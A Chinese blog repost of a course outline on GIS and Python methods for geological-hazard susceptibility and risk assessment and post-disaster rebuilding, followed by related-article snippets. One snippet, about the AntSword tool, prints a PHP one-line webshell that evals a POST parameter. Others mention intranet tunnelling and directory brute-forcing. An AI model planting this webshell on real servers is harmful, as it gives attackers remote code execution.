GIS在地质灾害危险性评估与灾后重建中的应用教程

news2024/9/19 10:46:37

详情点击链接:GIS在地质灾害危险性评估与灾后重建中的实践技术应用

前言

地质灾害是指全球地壳自然地质演化过程中,由于地球内动力、外动力或者人为地质动力作用下导致的自然地质和人类的自然灾害突发事件。由于降水、地震等自然作用下,地质灾害在世界范围内频繁发生。我国除滑坡灾害外,还包括崩塌、泥石流、地面沉降等各种地质灾害,具有类型多样、分布广泛、危害性大的特点。
一:基本概念与平台

1、基本概念

地质灾害类型

地质灾害发育特征与分布规律

地质灾害危害特征

地质灾害孕灾地质条件分析

地质灾害诱发因素与形成机理

图片

2、GIS原理与ArcGIS平台

2.1 GIS

2.2 ArcGIS基础

2.3 数据采集与组织

2.4 空间参考

2.5 空间数据的转换与处理

2.6 ArcGIS中的数据编辑

2.7 地理数据的可视化表达

2.8 空间分析:
数字地形分析
叠置分析
距离制图
密度制图
统计分析
重分类

三维分析

图片

图片

图片

3、Python编译环境配置

3.1 Python自带编辑器IDLE使用

3.2 Anaconda集成环境安装及使用

3.2 PyCharm环境安装及使用

图片

图片

二:数据获取及预处理
1.数据类型
2.点数据获取与处理
2.1 灾害点统计数据获取与处理

图片

图片

图片

2.2 气象站点数据获取与处理
气象站点点位数据处理
气象数据获取
数据整理
探索性分析
数据插值分析

图片

3、矢量数据的获取与处理

3.1 道路、断层、水系等矢量数据的获取

3.2 欧氏距离

3.3 核密度分析
3.4 河网密度分析

图片


4、栅格数据获取与处理

4.1 DEM,遥感影像等栅格数据获取

4.2 影像拼接、裁剪、掩膜等处理

4.3 NoData值处理

4.4 如何统一行列号

图片

图片

5、NC数据获取与处理

5.1 NC数据

5.2 NC数据获取

5.3 模型构建器

5.4 NC数据如何转TIF?

图片

6、遥感云计算平台数据获取与处理

6.1 遥感云平台数据

6.2 如何从云平台获取数据?

6.3 数据上传与下载

6.4 基本函数
6.5 植被指数提取
6.6 土地利用数据获取

图片

图片

7、Python数据清洗

7.1 Python库与安装

7.2 读取数据

7.3 统一行列数

7.4 缺失值处理

7.5 相关性分析/共线性分析

7.6 主成分分析法(PCA)降维

7.7 数据标准化

7.8 生成特征

图片

图片

三:地质灾害风险评价模型与方法

图片

1、地质灾害易发性评价模型与方法

1.1 评价单元确定

1.2 易发性评价指标体系

1.3 易发性评价模型

1.4 权重的确定

2、滑坡易发性评价2.1评价指标体系

地形:高程、坡度、沟壑密度、地势起伏度等。

地貌:地貌单元、微地貌形态、总体地势等。

地层岩性:岩性特征、岩层厚度、岩石成因类型等

地质构造:断层、褶皱、节理裂隙等。

地震:烈度、动峰值加速度、历史地震活动情况等

工程地质:区域地壳稳定性,基岩埋深,主要持力层岩性、承载力、岩土体工程地质分区等。
2.2 常用指标提取

坡度、坡型、高程、地形起伏度、断裂带距离、工程地质岩组、斜坡结构、植被覆盖度、与水系距离等因子提取

图片

2.3 指标因子相关性分析

(1)相关性系数计算与分析

图片

(2)共线性诊断
2.3 评价指标信息量

图片

图片

2.4 评价指标权重确定
2.5 滑坡易发性评价结果分析与制图

滑坡易发性综合指数

易发性等级划分

易发性评价结果制图分析

图片

3、崩塌易发性评价

4、泥石流易发性评价
4.1 泥石流评价单元提取
4.2 水文分析,沟域提取
4.3 土方纵坡分析
4.4 泥石流评价指标

崩滑严重性、泥沙沿程补给长度比、沟口泥石流堆积活动、沟谷纵坡降、区域构造影响程度、流域植被覆盖度、工程地质岩组、沿沟松散堆积物储量、流域面积、流域相对高差、河沟堵塞程度等
4.5典型泥石流评价指标选取

图片

图片

4.6 评价因子权重确定
4.7 泥石流易发性评价结果分析与制图

泥石流易发性综合指数计算

泥石流的易发性分级确定

泥石流易发性评价结果

图片

5、地质灾害易发性综合评价

综合地质灾害易发值=MAX [泥石流灾害易发值,崩塌灾害易发值,滑坡灾害易发值]

四:地质灾害风险性评价
1、地质灾害风险性评价

图片

2、地质灾害危险性评价
2.1 危险性评价因子选取

在某种诱发因素作用下,一定区域内某一时间段发生特定规模和类型地质灾害的可能性。

区域构造复杂程度,活动断裂发育程度,地震活动等都可能诱发地质灾害;强降雨的诱发,灾害发生的频率、规模也会增强地质灾害发生的机率。
2.2 危险性评价因子量化

崩滑危险性因子量化

统计各级范围内的灾害个数及面积,利用信息量计算方法到各级的信息量值。

泥石流危险性评价因子权重
2.3 危险性评价与结果分析

3、地质灾害易损性评价
3.1 地质灾害易损性因子分析

人口易损性

房屋建筑易损性

农业易损性

林业易损性

畜牧业易损性

道路交通易损性

水域易损性
3.2 人口易损性评价因子提取

人口密度数据处理

用人口密度数据来量化人口易损性,基于各行政单元统计年鉴获取的人口数量,结合房屋建筑区数据,量化人口的空间分布,基于GIS的网格分析,得到单位面积上的人口数量即人口密度。

易损性赋值

人口易损性因子提取
3.3 建筑易损性评价

建筑区密度数据处理

用房屋建筑区密度数据来量化房屋建筑易损性,利用房屋建筑区数据,基于GIS的网格分析,得到单位面积上的房屋建筑区面积,即房屋建筑区密度。

易损性赋值

建筑物易损性因子提取
3.4 交通设施易损性评价

道路数据的获取

用 ArcGIS 缓冲分析功能,形成道路的面文件

不同类型的道路进行赋值

道路易损分布结果分析
3.5 综合易损性评价

综合易损性叠加权重

综合易损性评价结果提取与分析

4、地质灾害风险评价结果提取与分析

图片

五:GIS在灾后重建中的应用

1、应急救援路径规划分析
1.1 表面分析、成本权重距离、栅格数据距离制图等空间分析;
1.2 利用专题地图制图基本方法,制作四川省茂县地质灾害应急救援路线图,
1.3 最佳路径的提取与分析

2、灾害恢复重建选址分析
2.1 确定选址的影响因子
2.3 确定每种影响因子的权重
2.4 收集并处理每种影响因子的数据:地形分析、距离制图分析,重分类
2.5 恢复重建选址分析

3、震后生态环境变化分析

使用该类软件强大的数据采集、数据处理、数据存储与管理、空间查询与空间分析、可视化等功能进行生态环境变化评价。

图片

图片

六:论文写作与复现

1、论文写作要点分析

2、论文投稿技巧分析

图片

3、论文案例分析

案例:利用机器学习对灾害易发性评价研究

图片

图片

4、部分成果复现:

模型:

逻辑回归模型

随机森林模型

支持向量机模型

实现方案:

图片

、线性概率模型——逻辑回归

连接函数的选取:Sigmoid函数

致灾因子数据集:数据介绍;相关性分析;逻辑回归模型预测;样本精度分析;分类混淆矩阵

注意事项

、SVM支持向量机

线性分类器

SVM-核方法:核方法介绍;sklearn的SVM核方法

参量优化与调整

SVM数据集:支持向量机模型预测;样本精度分析;分类混淆矩阵

、Random Forest的Python实现

数据集

数据的随机选取

待选特征的随机选取

相关概念解释

参量优化与调整:随机森林决策树深度调参;CV交叉验证定义;混淆矩阵;样本精度分析

基于pandas和scikit-learn实现Random Forest:数据介绍;随机森林模型预测;样本精度分析;分类混淆矩阵

、方法比较分析

精度分析

结果对比分析

图片

图片

图片

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/856549.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【JavaSE】接口的语法知识和使用方法总结

目录 1. 接口的概念 2. 语法规则 3. 接口特性 4. 接口使用 5. 实现多个接口 6. 接口间的继承 1. 接口的概念 在现实生活中,接口的例子比比皆是,比如:笔记本上的USB口,电源插座等。 电脑的USB口上,可以插&#x…

Unity游戏源码分享-仿开心消消乐Match3Jewel

Unity游戏源码分享-仿开心消消乐Match3Jewel 工程地址: https://download.csdn.net/download/Highning0007/88198762

蚁剑antSword-maste下载-安装-使用-一句话木马

下载 https://github.com/AntSwordProject/antSword 一句话木马 hack.php脚本 <?php eval($_POST[attack]);?> 安装 1、安装完成后启动 2、初始化&#xff0c;选择有源码的目录 3、连接

为什么要使用融合CDN,单CDN与多CDN之间的差异对比

CDN是现代互联网服务的重要组成部分&#xff0c;它CDN可帮助内容提供者高速交付内容&#xff0c;不同的服务器部署在全球不同的数据中心&#xff0c;并在它们之间共享相同的网络路径。随着企业意识到CDN的重要性&#xff0c;越来越多的企业正在使用CDN作为内容分发工具。互联网…

RocketMQ发送消息失败:error CODE: 14 DESC: service not available now, maybe disk full

在执行业务时&#xff0c;发现MQ控制台没有查询到消息&#xff0c;在日志中发现消息发送失败&#xff0c;报错error CODE: 14 DESC: service not available now, maybe disk full 分析报错应该是磁盘空间不足&#xff0c;导致broker不能进行正常的消息存储刷盘&#xff0c;去查…

Java中数组分析

Java中数组分析 先进行专栏介绍 数组声明和初始化一个数组方法一&#xff1a;声明数组并分配空间&#xff1a;可以使用以下语法声明一个数组&#xff0c;并指定数组的长度。举例 方法二&#xff1a;声明数组并初始化元素&#xff1a;可以在声明数组时&#xff0c;同时为数组的元…

HOperatorSet.OpenFramegrabber “GigEVision“

HOperatorSet.OpenFramegrabber "GigEVision"访问失败 直接跳出 但其他算子可以访问 重装halcon x86

内网隧道—HTTP\DNS\ICMP

本文仅限于安全研究和学习&#xff0c;用户承担因使用此工具而导致的所有法律和相关责任&#xff01; 作者不承担任何法律和相关责任&#xff01; HTTP隧道 Neo-reGeorg Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目&#xff0c;目的是&#xff1a; 提高可用性&#xff0…

量化交易可视化(7)-散点图

散点图的含义 散点图是一种用于观察两个变量之间关系的图表类型。它通过在坐标轴上绘制数据点来展示变量之间的关联程度。每个数据点代表一个观测值&#xff0c;其中横轴表示一个变量的值&#xff0c;纵轴表示另一个变量的值。 散点图的绘制方法 matplotlib.pyplot.scatter(…

Java:企业级java后端开发,需要掌握哪些内容

一、什么是后端开发 后端开发是指开发基于服务器端的软件应用程序&#xff0c;也称为系统的后台或服务器端编程。 后端程序员负责处理网站或应用程序后台的逻辑和功能&#xff0c;包括数据库管理、服务器端脚本编写、API设计、数据安全性、网站性能优化等。 后端开发技术通常包…

position 属性有哪些值,分别表示什么意思?

聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ static&#xff08;静态定位&#xff09;⭐ relative&#xff08;相对定位&#xff09;⭐ absolute&#xff08;绝对定位&#xff09;⭐ fixed&#xff08;固定定位&#xff09;⭐ sticky&#xff08;粘性定位&#xff09;⭐ initial⭐ i…

机器视觉、图像处理和计算机视觉:概念和区别

机器视觉、图像处理和计算机视觉是相关但有区别的概念。 机器视觉主要应用于工业领域&#xff0c;涉及图像感知、图像处理、控制理论和软硬件的结合&#xff0c;旨在实现高效的运动控制或实时操作。 图像处理是指利用计算机对图像进行复原、校正、增强、统计分析、分类和识别…

【在一个升序数组中插入一个数仍升序输出】

在一个升序数组中插入一个数仍升序输出 题目举例&#xff1a; 有一个升序数组nums&#xff0c;给一个数字data&#xff0c;将data插入数组nums中仍旧保证nums升序&#xff0c;返回数组中有效元素个数。 比如&#xff1a;nums[100] {1, 2, 3, 5, 6, 7, 8, 9} size 8 data 4 …

【雕爷学编程】Arduino动手做(201)---DFRobot 行空板05

37款传感器与模块的提法&#xff0c;在网络上广泛流传&#xff0c;其实Arduino能够兼容的传感器模块肯定是不止37种的。鉴于本人手头积累了一些传感器和执行器模块&#xff0c;依照实践出真知&#xff08;一定要动手做&#xff09;的理念&#xff0c;以学习和交流为目的&#x…

【雕爷学编程】Arduino动手做(199)---8x32位WS2812B全彩屏模块7

37款传感器与模块的提法&#xff0c;在网络上广泛流传&#xff0c;其实Arduino能够兼容的传感器模块肯定是不止37种的。鉴于本人手头积累了一些传感器和执行器模块&#xff0c;依照实践出真知&#xff08;一定要动手做&#xff09;的理念&#xff0c;以学习和交流为目的&#x…

Shopify平台Fulfillment业务模块升级

上图是销售订单、发货单与配送之间的关系图&#xff0c;销售订单可以创建多个发货单&#xff0c;多个发货单(不同销售订单)可以合并在一个配送订单进行发货 接口请求错误记录: 1. The api_client does not have the required permission(s). 2. Required parameter missing or…

dirsearch_暴力扫描网页结构

python3 dirsearch 暴力扫描网页结构&#xff08;包括网页中的目录和文件&#xff09; 下载地址&#xff1a;https://gitee.com/xiaozhu2022/dirsearch/repository/archive/master.zip 下载解压后&#xff0c;在dirsearch.py文件窗口&#xff0c;打开终端&#xff08;任务栏…

FPGA外部触发信号毛刺产生及滤波

1、背景 最近在某个项目中&#xff0c;遇到输入给FPGA管脚的外部触发信号因为有毛刺产生&#xff0c;导致FPGA接收到的外部触发信号数量多于实际值。比如&#xff1a;用某个信号源产生1000个外部触发信号&#xff08;上升沿触发方式&#xff09;给到FPGA输入IO&#xff0c;实际…

使用node-red实现一个物体地图巡航的案例

背景 随着物联网技术的快速发展,物体地图巡航已经成为了一种常见的应用场景。本文将介绍如何使用Node-RED实现一个物体地图巡航的案例。Node-RED是一个基于Node.js的可视化编程工具,它可以帮助用户快速构建流程和数据流。通过Node-RED,我们可以轻松地实现物体地图巡航的功能…

基于IP地址的目的地址转换

基本需求 由于来自INTERNET的对政府、企业的网络攻击日益频繁&#xff0c;因此需要对内网中向外网提供访问服务的关键设备进行有效保护。采用目的地址NAT可以有效地将内部网络地址对外隐藏。 图中&#xff1a;公网Internet用户需要通过防火墙访问WEB服务器&#xff0c;为了隐藏…